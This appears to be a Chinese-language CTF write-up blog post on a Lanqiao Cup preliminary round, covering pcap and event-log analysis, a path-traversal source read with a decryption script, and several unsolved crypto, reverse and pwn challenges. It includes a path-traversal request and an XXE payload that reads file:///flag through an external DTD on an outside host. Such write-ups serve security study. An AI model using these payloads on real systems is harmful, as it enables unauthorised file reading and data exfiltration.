{% note info %}

先吐槽一波：初赛不让上网查资料是人打的嘛，真就初赛即决赛？？？还不是传统出题法，你那堆分类谁第一眼能看出来是什么题目啊？？？

我不信这比赛没有人用黄色版 CTF-all-in-One 好吧，一题出来了以后一堆人跟着出，一分钟内零解题出 5 个人是吧

然后说是不让用网，结果又发通知说有一题可以用 =-=

好好好玩我呢是吧

累了，事不过三，以后不报蓝桥了。蓝桥参加第三次了，前两次 Python 算法，今年第一次参加网安，太抽象了

我 TM 周末早八起来到底是为了啥哟 (┬＿┬)

我的评价是：不如 CCSSSC，人平台虽然屎但是人比赛办的还不错啊，建议你下次别办

{% endnote %}

【数据分析】flowzip#

There are many zip files.

打开流量包发现大量 HTTP 请求，里面包含 100 个 zip 文件

{% note success %}

高端的食材，往往只需要最朴素的烹饪方式

{% endnote %}

直接用 strings 提取

1
strings .\flowzip.pcapng | grep flag

得到

1
jpkwz.txtflag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}PK

所以 flag 为 flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

【数据分析】ezEvtx#

EVTX文件是Windows操作系统生成的事件日志文件，用于记录系统、应用程序和安全事件。

（本题需要选手找出攻击者访问成功的一个敏感文件，提交格式为flag{文件名}，其中文件名不包含文件路径，且包含文件后缀）

用 ELX 打开，搜索 access an object 就得到了

访问的文件为 C:\Admin\confidential.docx，所以 flag 为 flag{confidential.docx}

【情报收集】黑客密室逃脱#

你被困在了顶级黑客精心设计的数字牢笼中，每一道关卡都暗藏致命陷阱！唯一的逃脱之路，是破解散落在服务器各处的加密线索，找到最终的“数字钥匙”。

开局让我们看日志

访问得到线索

线索1：d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1

秘密区域告诉我们有文件读取

输入 /file?name=../../../../../../app/app.py 得到源码

1
import os
2
from flask import Flask, request, render_template
3
from config import *
4
# author: gamelab
5

6
app = Flask(__name__)
7

8
# 模拟敏感信息
9
sensitive_info = SENSITIVE_INFO
10

11
# 加密密钥
12
encryption_key = ENCRYPTION_KEY
13

14
def simple_encrypt(text, key):
15
    encrypted = bytearray()
16
    for i in range(len(text)):
17
        char = text[i]
18
        key_char = key[i % len(key)]
19
        encrypted.append(ord(char) + ord(key_char))
20
    return encrypted.hex()
21

22
encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)
23

24
# 模拟日志文件内容
25
log_content = f"用户访问了 /secret 页面，可能试图获取 {encrypted_sensitive_info}"
26

27
# 模拟隐藏文件内容
28
hidden_file_content = f"解密密钥: {encryption_key}"
29

30
# 指定安全的文件根目录
31
SAFE_ROOT_DIR = os.path.abspath('/app')
32
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
33
    f.write(hidden_file_content)
34

35
@app.route('/')
36
def index():
37
    return render_template('index.html')
38

39
@app.route('/logs')
40
def logs():
41
    return render_template('logs.html', log_content=log_content)
42

43
@app.route('/secret')
44
def secret():
45
    return render_template('secret.html')
46

47
@app.route('/file')
48
def file():
49
    file_name = request.args.get('name')
50
    if not file_name:
51
        return render_template('no_file_name.html')
52
    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
53
    if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
54
        return render_template('no_premission.html')
55
    try:
56
        with open(full_path, 'r') as f:
57
            content = f.read()
58
        return render_template('file_content.html', content=content)
59
    except FileNotFoundError:
60
        return render_template('file_not_found.html')
61

62
if __name__ == '__main__':
63
    app.run(debug=True, host='0.0.0.0')

debug = True，想访问 /console，打不开

看到有 hidden.txt

1
# 指定安全的文件根目录
2
SAFE_ROOT_DIR = os.path.abspath('/app')
3
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
4
    f.write(hidden_file_content)

得到解密密钥

根据题目给的 simple_encrypt 函数

1
def simple_encrypt(text, key):
2
    encrypted = bytearray()
3
    for i in range(len(text)):
4
        char = text[i]
5
        key_char = key[i % len(key)]    # key=secret_key7434 len(key)=14 key_char=从左到右依次取
6
        encrypted.append(ord(char) + ord(key_char))
7
    return encrypted.hex()

自己写一个解密的脚本

1
SECRET = bytearray.fromhex('d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1')
2

3
key = "secret_key7434"
4

5
decrypted = bytearray()
6

7
for i in range(len(SECRET)):
8
    char = SECRET[i]
9
    key_char = key[i % len(key)]
10
    decrypted.append(char - ord(key_char))
11

12
print(decrypted)

解出来得到 flag

flag{6d037fe6-0329-449a-b529-71142b80a470}

【数据库安全】crawler（未出）#

一个简单的爬虫系统，测测它的安全问题吧！

是一个用 PHP 写的系统，Cookie 里面有 PHPSESSID

打开是个登录页面，发现只有使用用户名为 admin 登录的时候会弹提示为 ❌ 用户名或密码错误，其他用户名都是 ❌ 登录失败

爆破不出来，尝试一下 sql 注入，用 sqlmap 浅浅测一下，发现 sqlmap 说无法注入

那好吧，我确实没思路了

【密码破解】easy_AES（未出）#

题目采用的是传统的AES加密，但是其中的key似乎可以通过爆破得到，你能找到其中的问题，解密出敏感数据吗？

题目给了源码

1
from Crypto.Cipher import AES  # 导入AES加密模块
2
from secret import flag       # 从secret模块导入flag（假设为明文）
3
import random, os             # 导入random和os模块用于随机数生成
4

5
# 为消息填充字节，使其长度为16的倍数
6
def pad(msg):
7
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])
8

9
# 对密钥进行随机置换，生成新密钥
10
def permutation(key):
11
    tables = [hex(_)[2:] for _ in range(16)]  # 生成0-15的十六进制表（去掉"0x"前缀）
12
    random.shuffle(tables)                    # 随机打乱表
13
    newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key)))  # 根据原密钥生成新密钥
14
    return newkey
15

16
# 生成初始密钥key0及其置换密钥key1
17
def gen():
18
    key0 = os.urandom(16).hex()  # 随机生成16字节密钥并转为十六进制字符串
19
    key1 = permutation(key0)     # 对key0进行置换生成key1
20
    return key0, key1
21

22
# 使用key0和key1进行双重AES加密
23
def encrypt(key0, key1, msg):
24
    aes0 = AES.new(key0, AES.MODE_CBC, key1)  # 用key0加密，key1作为CBC模式的IV
25
    aes1 = AES.new(key1, AES.MODE_CBC, key0)  # 用key1解密，key0作为CBC模式的IV
26
    return aes1.decrypt(aes0.encrypt(msg))    # 先加密后解密生成密文
27

28
# 生成密钥对
29
key0, key1 = gen()
30
a0, a1 = int(key0, 16), int(key1, 16)  # 将密钥转为整数
31

32
gift = a0 & a1  # 计算key0和key1的按位与，作为泄露信息
33
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))  # 加密填充后的flag
34

35
print(f"gift = {gift}")
36
print(f"key1 = {key1}")
37
print(f"cipher = {cipher}")
38

39
'''
40
gift = 64698960125130294692475067384121553664
41
key1 = 74aeb356c6eb74f364cd316497c0f714
42
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
43
'''

{% note info %}

出题人是不是懒得写代码了，这代码 AI 味也太浓了，连 （假设为明文） 都出来了（第二行）

{% endnote %}

首先可以看到题目生成了一对密钥，其中 key0 是随机生成的，key1 是通过 key0 中的内容随机编排而成的

然后再加密解密的过程中，key0 和 key1 会分别作为密钥和向量 iv 进行加解密，过程大概是

对 msg 用 key=key0, iv=key1 进行 AES 加密，在对结果用 key=key1, iv=key0 进行 AES 解密，得到了题目给我们的 cipher

cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

所以如果要反着来，就得要用 key=key1, iv=key0 先进行 AES 加密，再对其结果用 key=key0, iv=key1 进行 AES 解密才能得到我们的明文

然后现在的问题是 key0 未知，题目说可以爆破，但是题目给的条件说实话我不太会用

题目给了个 gift，然后这个 gift 是通过 a0 & a1 产生的（按位与）

然后？就么有然后了……真不会利用这个 gift

【密码破解】ECBTrain（未出）#

AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战？

题目给了容器，nc 进去有注册、登录、退出三个选项

1
╰─  nc 39.105.2.63 20628
2
 _____ _____ ______ _____         _
3
|  ___/  __ \| ___ \_   _|       (_)
4
| |__ | /  \/| |_/ / | |_ __ __ _ _ _ __
5
|  __|| |    | ___ \ | | '__/ _` | | '_ \
6
| |___| \__/\| |_/ / | | | | (_| | | | | |
7
\____/ \____/\____/  \_/_|  \__,_|_|_| |_|
8

9
请选择操作：
10
1. 注册
11
2. 登录
12
3. 退出
13
请输入选项编号:

其中，注册不能够以用户名 admin 注册，我先用用户名 user，密码 123 注册得到

1
请输入选项编号: 1
2
请输入用户名: user
3
请输入密码: 123
4
注册成功！你的auth为: eHDaWi860uwUt/Khad7iSw==

而当我用登录，会这么说

1
请选择操作：
2
1. 注册
3
2. 登录
4
3. 退出
5
请输入选项编号: 2
6
若是能以admin身份登录就给你flag。
7
请输入auth: eHDaWi860uwUt/Khad7iSw==
8
登录成功！
9
你是以 user 身份登录

也就是说登录跟密码一点关系都没有，我们要做的是利用 ECB 模式的缺陷，使得我们的 auth 变成 admin 的 auth

那么问题来了 ECB 的缺陷是什么？？？（不让上网查呀我没办法呀）

【密码破解】Enigma（未出）#

Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备，旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合，通过复杂的电路转换实现对明文的加密与解密。

（本题需要选手还原成原文字母，提交格式为flag{原文字母}，其中原文字母为全英文大写，且去掉空格。）

布什戈门？这 tm 是个啥哟？？？

题目给了一个 html 文件，打开是赛博厨子（设定好的）

没懂这是什么原理，又不让查，下一个

【漏洞挖掘分析】星际XML解析器（未出）#

你已进入星际数据的世界，输入XML数据，启动解析程序，探索未知的数据奥秘！

打开是一个网页

确实实现了 xml 的解析，我开始在想是不是 XXE（因为 ADCTF 做过一道 XXE），先浅浅地拿 ADCTF 的 payload 来试试（虽然远程文件不存在）

1
<?xml version="1.0" encoding="UTF-8"?>
2
<!DOCTYPE ANY [
3
<!ENTITY % file SYSTEM "file:///flag">
4
<!ENTITY % dtd SYSTEM "https://org.bili33.top/CTFTMP/try.dtd">
5
%dtd;
6
%send;
7
]>
8
<reg><name>11</name><tel>22</tel><email>33</email></reg>

然后就报错了

看来并不是 XXE 那一套，还是不给查，我也没办法

【逆向分析】ShadowPhases（未出）#

在调查一起跨国数据泄露事件时，你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报，这些文件采用上世纪某情报机构开发的“三重影位算法”，关键数据被分割为三个相位，每个相位使用不同的影位密钥混淆。威胁分析显示，若不能在48小时内还原原始信息，某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示：‘相位间存在密钥共鸣，但需警惕内存中的镜像陷阱..

先惯例拖进 IDA 看看有没有什么线索，但是我没看出来

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  char Str1[128]; // [rsp+30h] [rbp-50h] BYREF
4
  char Str2[128]; // [rsp+B0h] [rbp+30h] BYREF
5
  void *v6; // [rsp+130h] [rbp+B0h]
6
  void *v7; // [rsp+138h] [rbp+B8h]
7
  void *v8; // [rsp+140h] [rbp+C0h]
8
  void *v9; // [rsp+150h] [rbp+D0h]
9
  void *v10; // [rsp+158h] [rbp+D8h]
10
  void *v11; // [rsp+160h] [rbp+E0h]
11
  char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREF
12
  char v13[15]; // [rsp+17Bh] [rbp+FBh] BYREF
13
  char Src[5]; // [rsp+18Ah] [rbp+10Ah] BYREF
14
  char v15[9]; // [rsp+18Fh] [rbp+10Fh] BYREF
15
  void *v16; // [rsp+198h] [rbp+118h]
16
  void *v17; // [rsp+1A0h] [rbp+120h]
17
  void *Block; // [rsp+1A8h] [rbp+128h]
18
  char v19[6]; // [rsp+1B2h] [rbp+132h] BYREF
19
  size_t v20; // [rsp+1B8h] [rbp+138h]
20
  size_t v21; // [rsp+1C0h] [rbp+140h]
21
  size_t Size; // [rsp+1C8h] [rbp+148h]
22

23
  sub_401B10();
24
  Src[0] = 0;                                   // src = [0, 5, -125, 0x80, -114]
25
  Src[1] = 5;
26
  Src[2] = -125;
27
  Src[3] = 0x80;
28
  Src[4] = -114;
29
  strcpy(v15, "+");
30
  v15[2] = -125;                                // v15 = ["+", -125, 47, -86, 43, -127, -88, -91]
31
  v15[3] = 47;
32
  v15[4] = -86;
33
  v15[5] = 43;
34
  v15[6] = -127;
35
  v15[7] = -88;
36
  v15[8] = -91;
37
  Size = 14i64;
38
  v13[0] = 19;                                  // v13 = [19, 57, -66, -66, -76, 56, -72, -70, -69, -96, 62, -112, 58, -70, -76]
39
  v13[1] = 57;
40
  v13[2] = -66;
41
  v13[3] = -66;
42
  v13[4] = -76;
43
  v13[5] = 56;
44
  v13[6] = -72;
45
  v13[7] = -70;
46
  v13[8] = -69;
47
  v13[9] = -76;
48
  v13[10] = 62;
49
  v13[11] = -112;
50
  v13[12] = 58;
51
  v13[13] = -70;
52
  v13[14] = -76;
53
  v21 = 15i64;
54
  v12[0] = -117;                                // v12 = [-117, -119, 3, 4, -120, -117, 32, 9, 34, -120, 8, -115, -120, -81]
55
  v12[1] = -119;
56
  v12[2] = 34;
57
  v12[3] = -120;
58
  v12[4] = -117;
59
  v12[5] = 32;
60
  v12[6] = 9;
61
  v12[7] = 34;
62
  v12[8] = -120;
63
  v12[9] = 8;
64
  v12[10] = -115;
65
  v12[11] = -120;
66
  v12[12] = -81;
67
  v20 = 13i64;
68
  v19[5] = -103;                                // v19 = ['"', "D", "f", -1, -35, -103]
69
  v19[4] = -35;
70
  v19[3] = -1;
71
  qmemcpy(v19, "\"Df", 3);
72
  Block = malloc(0xFui64);
73
  v17 = malloc(v21 + 1);
74
  v16 = malloc(v20 + 1);
75
  if ( !Block || !v17 || !v16 )
76
  {
77
    puts(&Buffer);
78
    exit(1);
79
  }
80
  memcpy(Block, Src, Size);
81
  memcpy(v17, v13, v21);
82
  memcpy(v16, v12, v20);
83
  sub_4015B6((__int64)Block, Size, v19[2]);
84
  sub_4015B6((__int64)v17, v21, v19[1]);
85
  sub_4015B6((__int64)v16, v20, v19[0]);
86
  *((_BYTE *)Block + Size) = 0;
87
  *((_BYTE *)v17 + v21) = 0;
88
  *((_BYTE *)v16 + v20) = 0;
89
  v9 = v17;
90
  v10 = v16;
91
  v11 = Block;
92
  v6 = Block;
93
  v7 = v17;
94
  v8 = v16;
95
  sub_401550(Str2, 0x80ui64, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16);
96
  printf(&Format);
97
  scanf("%127s", Str1);
98
  if ( !strcmp(Str1, Str2) )
99
    puts(&byte_40502A);
100
  else
101
    puts(&byte_405031);
102
  free(Block);
103
  free(v17);
104
  free(v16);
105
  return 0;
106
}

【逆向分析】BashBreaker（未出）#

赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前，将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议，唯有通过15枚光子硬币的智慧试炼，才能唤醒沉睡的实验室AI。

简单来说这就是在 15 步的步程内，双方都可以选择走 1~3 步，谁先走到终点谁就赢了

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  unsigned int v3; // eax
4
  int v5[2]; // [rsp+2Ch] [rbp-14h] BYREF
5
  unsigned int i; // [rsp+34h] [rbp-Ch]
6
  int v7; // [rsp+38h] [rbp-8h]
7
  int v8; // [rsp+3Ch] [rbp-4h]
8

9
  _main(argc, argv, envp);
10
  v8 = 15;
11
  v3 = time(0i64);
12
  srand(v3);
13
  puts("You want my treasure? You can have it all if you want it. Go find it! I hid the treasure chest in the program");
14
  puts("Number of remaining steps: 15 | 1 to 3 steps per round | The first one to get to the KEY\n");
15
  v5[1] = 0;
16
  while ( v8 > 0 )
17
  {
18
    printf("Remaining steps: [%d]\n", (unsigned int)v8);
19
    do
20
    {
21
      printf("Number of steps (1-3): ");
22
      while ( scanf("%d", v5) != 1 )
23
      {
24
        printf("Input error, please re-enter: ");
25
        while ( getchar() != 10 )
26
          ;
27
      }
28
      if ( v5[0] > 0 && v5[0] <= 3 )
29
      {
30
        if ( v8 < v5[0] )
31
          printf(aNotEnoughSteps, (unsigned int)v8);
32
      }
33
      else
34
      {
35
        puts(aMustTake13Step);
36
      }
37
    }
38
    while ( v5[0] <= 0 || v5[0] > 3 || v8 < v5[0] );
39
    v8 -= v5[0];
40
    printf("* Player walks %d steps, remaining %d\n\n", (unsigned int)v5[0], (unsigned int)v8);
41
    if ( v8 <= 0 )
42
    {
43
      full_decrypt();
44
      puts("This is your KEY. You deserve it ! !");
45
      for ( i = 0; i <= 0x2F; ++i )
46
        printf("%02X", real_key[i]);
47
      break;
48
    }
49
    v7 = calculate_best_move((unsigned int)v8);
50
    if ( v7 <= 0 || v7 > 3 )
51
      v7 = 1;
52
    if ( v7 > v8 )
53
      v7 = v8;
54
    v8 -= v7;
55
    printf("* The AI takes %d steps, remaining %d\n\n", (unsigned int)v7, (unsigned int)v8);
56
    if ( v8 <= 0 )
57
      puts("This treasure does not belong to you. Go back, Boy");
58
  }
59
  printf("\nGame over ! ");
60
  system("pause");
61
  return 0;
62
}

在 calculate_best_move 函数中能够看到对手的逻辑

1
__int64 __fastcall calculate_best_move(int a1)
2
{
3
  if ( a1 <= 0 )
4
    return 0i64;
5
  if ( a1 % 4 )
6
    return (unsigned int)(a1 % 4);
7
  if ( a1 == 4 )
8
    return 3i64;
9
  if ( a1 == 8 )
10
    return 3i64;
11
  return (unsigned int)(rand() % 3 + 1);
12
}

如果剩余的步数小于等于 0，返回 0；如果 a1 % 4 != 0，就返回余数，如果 a1 == 4 或者 a1 == 8，就返回 3，其他时候返回一个随机的步数

我相信这一题肯定不会是让你真的来做完这个游戏的，但是我也不知道咋做

【漏洞挖掘分析】RuneBreach（未出）#

你是一名穿越到异世界的勇者，正面临最终决战！邪恶的 Boss 即将占领你的王国，唯一的机会就是利用传说中的“漏洞之剑”击败它。

然而，Boss 在战场上布下了魔法沙箱结界，禁止你使用常规的“召唤术”！你必须找到结界中的弱点，注入符文，才能给予 Boss 致命一击！

这个题目里面说到”魔法沙箱结界”，我在想是不是沙箱逃逸

拖进 IDA 看一眼，在函数 battle_loop 里面有战斗相关的逻辑

1
void __noreturn battle_loop()
2
{
3
  unsigned int v0; // eax
4
  char v1; // [rsp+3h] [rbp-1Dh]
5
  int v2; // [rsp+4h] [rbp-1Ch]
6
  unsigned int v3; // [rsp+8h] [rbp-18h]
7
  int v4; // [rsp+10h] [rbp-10h]
8
  int v5; // [rsp+18h] [rbp-8h]
9

10
  v4 = 100;
11
  v5 = 150;
12
  v2 = 1;
13
  puts("\n==== BOSS BATTLE START ====");
14
  while ( 1 )
15
  {
16
    v0 = v2++;
17
    printf("\n-- Round %d --\n", v0);
18
    printf("Player HP: %d | Boss HP: %d\n", (unsigned int)v4, (unsigned int)v5);
19
    v3 = (int)(((double)v4 / 200.0 + 0.5) * (double)20);
20
    printf("You attack! Damage: %d\n", v3);
21
    v5 -= v3;
22
    if ( v5 <= 0 )
23
      break;
24
    printf("\nDefend? (y/N): ");
25
    v1 = getchar();
26
    while ( getchar() != 10 )
27
      ;
28
    if ( v1 == 121 || v1 == 89 )
29
    {
30
      v4 -= 7;
31
      printf("You defend! Damage reduced: %d\n", 15LL);
32
    }
33
    else
34
    {
35
      v4 -= 30;
36
      printf("No defense! Damage taken: %d\n", 30LL);
37
    }
38
    if ( v4 <= 0 )
39
    {
40
      puts("\n[System] Game Over...");
41
      boss_victory();
42
      exit(0);
43
    }
44
  }
45
  puts("\n[System] Boss defeated!");
46
  victory_message();
47
  exit(0);
48
}

然后如果打败了 Boss，会让你说胜利宣言，此时在 victory_message 函数里面获取输入用的是 gets

1
unsigned __int64 victory_message()
2
{
3
  char v1[40]; // [rsp+0h] [rbp-30h] BYREF
4
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]
5

6
  v2 = __readfsqword(0x28u);
7
  printf("[System] Enter victory comment: ");
8
  gets(v1);
9
  printf("Your comment: %s\n", v1);
10
  return __readfsqword(0x28u) ^ v2;
11
}

然后 v1 的长度是 40，所以暂且认为这里有一个栈溢出

然后再看输了的逻辑，Boss 会说这块领地是它的了，然后会告诉你这块领地（内存）的地址（但其实程序最开始也告诉你了）

1
__int64 boss_victory()
2
{
3
  void *addr; // [rsp+0h] [rbp-10h]
4

5
  addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000LL);
6
  if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) == -1 )
7
  {
8
    perror("mprotect failed");
9
    exit(1);
10
  }
11
  printf("[BOSS] Your place is mine now %p!\n", addr);
12
  printf("[BOSS] Say your last word to your territory: ");
13
  read(0, addr, 1056uLL);
14
  return ((__int64 (*)(void))addr)();
15
}

这里用的是 read 读取，看起来没有什么可以用的，而且 addr 是一个指针

所以大概率能利用的是那个栈溢出，但是我没有找到 vuln 那种可利用的函数

【漏洞挖掘分析】Jdbc_once（未出）#

Fenjing是一款为CTF比赛设计的自动化脚本，专注于Jinja SSTI漏洞利用，旨在绕过WAF。它能自动攻击指定网站或接口，省去手动测试和fuzz WAF的时间。通过智能生成payload，支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。

（题目同时开放了8888端口和80端口，该题目允许使用互联网辅助答题，不允许使用AI作答）

这就是公告里面说可以查的那一体，焚靖确实可以自动化测 SSTI，打开题目提供的 8888 端口就是一个焚靖，但是如果我们直接访问 80 端口就会被拦住，提示 Only 127.0.0.1，而我修改标头也没有绕过这一点

但是用焚靖就可以访问

没明白这题想要干嘛，说实话

总结#

我太菜了（呜呜呜

蓝桥初赛断网抽象归抽象，但说到底还是有点储备不足了……咱确实也不是全栈爷 =-=

但是但是，事不过三，蓝桥肯定不会有下一次了，我绝对不会再报蓝桥了，本来是想要弄点比赛加分才打的，但是后面发现这玩意在我们学校加分挺少的，而且报个名还有 300 块，所以肯！定！不！会！再！有！下！次！了！